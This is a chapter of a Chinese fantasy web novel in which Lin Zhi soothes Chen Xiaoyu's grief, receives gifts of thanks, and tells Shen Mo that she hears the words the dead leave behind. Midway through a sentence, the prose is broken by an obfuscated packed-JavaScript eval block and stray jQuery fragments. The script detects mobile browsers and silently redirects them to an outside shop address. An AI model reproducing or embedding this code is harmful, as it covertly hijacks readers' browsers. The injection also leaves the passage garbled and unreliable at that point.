林栀没有立刻松开陈小玉的手。
画面已经散尽了，门已经关上了，但她还能感觉到那根丝线缠在她指尖上，那线极细，像一根从很远的地方牵过来的线。她想了想，没有把那根丝线抽走。她只是把手指轻轻往回拢了一下，像把一根松了的线重新绕回线轴上，让它不再散着。
那扇门还在原地。
她没有把它推开更多，但她把那道裂缝的边沿磨平了一些，让记忆中的那扇门即使关着，边缘也不再扎手了。做完这一切后，她把那道声音那："陈小玉，我这辈子最对的事，就是那天三轮车链条松了"，轻轻放在一个不会丢的地方。
然后她睁开眼。
陈小玉还坐在她面前，眼眶红红的，但她的呼吸比刚才平稳了。她低头看了一眼自己被握住的手，又抬头看林栀，嘴唇微微张开。
"我好像……"她顿了一下，像在辨认一种很久没有过的感觉，"我脑子里那片灰蒙蒙的东西，好像退了一点，脑子也没有那么不舒服了。"
林栀点了点头："因为它确实退了一点，那扇门我帮你推开了一条缝，边上也磨了一下。下次你再碰到它的时候，不会像以前那么扎手了。"
陈小玉低下头，嘴唇轻轻颤抖着，声音很轻："……它还在那里，对吧？"
"嗯。"林栀说，"那扇门还在，但你现在可以自己决定要不要推开它了。你碰它的时候，也不会再被扎伤。"
陈小玉没有说话，眼泪从眼眶里掉了下来，落在自己手背上，像雨滴落在干裂的泥土上，慢慢地渗进去了。过了一会儿她抬起头，声音比刚才稳了一些，眼眶湿漉漉的，但语气是稳的："那就够了，我已经知道他在门口停了一下。"
她站起来的时候脚步还有些不稳，像坐在同一处太久，血液还没有流开。郑叔上前扶了她一把，但她没有立刻往门口走。她在沙发旁边站了几秒，低头看着自己空出来的那只手，像在确认它还是自己的。
然后她转过身，从外套内侧口袋里摸出一样东西。
那是一只旧布包，巴掌大小，灰蓝色的布料边缘磨得发白，封口处用一根细绳扎了两道结。她把布包放在茶几上，推到了林栀面前。
"这个给你。"她的声音比刚才稳了一些。
林栀低头看着那只布包："你不用——"
"要的。"陈小玉打断了她，语气不重，但很认真，"你帮了我，那些记忆我碰了它好多年，每次都被扎伤。今天你磨平了边角，我没有别的东西能给你，但这个是我能拿出来的。"
郑叔站在她旁边，也伸手从外套里掏出一卷东西，是几张对折的旧纸币，边缘已经有些磨损了，用一根旧皮筋捆着。他把那卷纸币放在布包旁边，声音有些哑："小玉说的对，你帮了我们这么大的忙，我们总得有点表示。我和小玉没什么值钱的东西，但我们知道感恩。这点钱不多，你在这里过日子，总得有自己的一些东西。"
不等林栀开口拒绝，郑叔继续说道：“你给我们做的这些事，我们在外面其实倾家荡产估计都不会找到有人愿意帮我们，我们其实已经占了你很大的便宜了。不过你放心，以后你有什么事，尽管来找我，我能帮一定帮。”
老魏也在一旁帮腔：“该给你的，收下吧。”
林栀看着茶几上的两样东西，布包微微鼓着，透着布料能看出里面是几块叠好的布料；那卷纸币边缘已经磨白了，但整整齐齐捆着。她伸手把布包和那卷纸币收起来，放在自己膝盖上。
"好。"她说，"我收下了。"
陈小玉的嘴角微微动了一下，像想笑但没有力气笑出来。她在门口站了一会儿，没有转身，说了一句："如果那扇门又合上了，我还能来找你吗？"
"能。"林栀说，"门合上了，我就再帮你推开一次。"
陈小玉在门口停了一下，然后她走下楼去，郑叔跟在她后面，老魏就走在郑叔旁边，只不过老魏临走的时候在楼梯口回头看了一眼，没有说什么，点了点头也下去了。
脚步声在楼道里越来越轻，像雨滴落进深水里。
林栀低头看着膝盖上的布包和纸币。
她解开布包的细绳，里面是几小块叠得很整齐的旧布，边缘缝了边，像是被人仔细裁过，还有一小包干菜碎末，用旧报纸包着，口扎得很紧，布包底下压着一张叠好的纸。
她展开那张纸，上面是陈小玉的字迹，笔画有些挤，像是想说的话很多但写不下了："我不知道你缺什么，这几块布是我以前攒的，洗过好几次了但还结实，干菜是我自己晒的。你不一定要用，但我必须要给你。谢谢你，林姑娘。"
林栀看完了，把纸叠好放回布包里。那卷纸币她拿起来摸了一下，皱巴巴的旧纸叠得很整齐，边缘已经磨得发软了。她知道这卷钱对郑叔和陈小玉来说意味着什么，那是他们攒了很久的，现在把它放在了她手心里。
她坐在沙发上，手里握着布包和那卷纸币，心里有一种说不清楚的感觉。像一粒种子刚刚落进土里，还没有发芽，但已经被盖上了第一层土。
客厅安静了一会儿，沈默靠在客厅的墙上，一直没出声。
"你没有把所有的都告诉她。"沈默说。
林栀没有回头："你怎么知道？"
"你握着她的手的时候，表情变了一下，情绪也发生了变化。"
林栀站在窗边，看着窗外灰雾翻涌的方向。过了很久她转过来，灰光落在她脸上，她的表情很安静，像在整理一件刚刚才意识到存在的东西。
"我听到了一个声音。"她说，"夹在周远回头看床铺的那个画面里。那个声音
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722422|208738||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不是陈小玉的记忆，她当时在睡觉，不可能听到那句话，那应该是周远自己说给自己听的。"
她把那句话重复了一遍："‘陈小玉，我这辈子最对的事，就是那天三轮车链条松了。’"
客厅安静了，沈默靠在墙上，灰光从落地窗涌进来，在他们之间的地板上铺了一道薄薄的暗白色。
"你能听到死人的声音。"他说。
林栀低头看着自己的手："我不知道那是死人，我只知道我听到了一句话，它不在陈小玉的记忆里，那是周远自己说给自己听的，那是他以为没有人会听到的话。"
她抬起头："所以我能清掉地面上的结晶，我能清掉活人脑子里缠着的执念，我还能听到他们已经不在之后留下来的那句话，是吗？"
沈默站在墙边看了她很久，然后问："那句话重吗？"
林栀想了一下："不重，像一粒沙子落在水面上。他只是在确认一件他已经知道的事情，然后他就走了。他甚至没有说出来，只是在心里过了一遍，就被永远留在了那扇门的门缝里。"
她低头看着自己的手指，指腹上还残留着那根极细的丝线的触感。那个声音还停在她脑子里，很轻，像一个人站在很远的地方说完了那句话，然后安静了。
但这次不一样，她能感觉到它比以前更清晰了一些。陈渡那句话她是无意中"捡"到的，但这一次，她是主动"听"到的。她在那些画面里找了它一下，然后它就浮现出来了，好像是离她近了一点。
"你打算告诉陈小玉吗？"沈默问。
林栀想了一会儿："今天不告诉。"
"为什么？"
"因为她今天好了一些。那扇门打开了一条缝，她可以带着那条缝回去睡一觉。那句话......先不急着告诉她。如果她下次来的时候，如果她还想再推开那扇门，我再把这句话还给她。"
说到这里，林栀自己也不知道对不对，她抬头看向沈默，像是在咨询他的意见。
“既然还不确定，那就先不说吧。”
沈默说完便转身走进厨房，开始往锅里倒水。水流的声音在安静的客厅里显得很清晰，像某样东西被慢慢注满了。
林栀在窗边站了一会儿，低头看了一眼茶几上的布包和纸币，目光又落回窗外翻涌的灰雾上。
她在想两件事。
第一，那句话还在她脑子里，它没有被"清掉"，像一枚被她收进口袋里的硬币，轻轻的，凉的，不太起眼，但确实沉在那里。她知道自己能把它保管好，等陈小玉准备好听的时候再给她。
第二，她今天收到了第一份"报酬"，她可以在这个世界上慢慢地、一点一点地积攒起属于自己的东西。像一块一块捡来的砖，一开始只有几块，但迟早能垒出一面可以靠住的墙。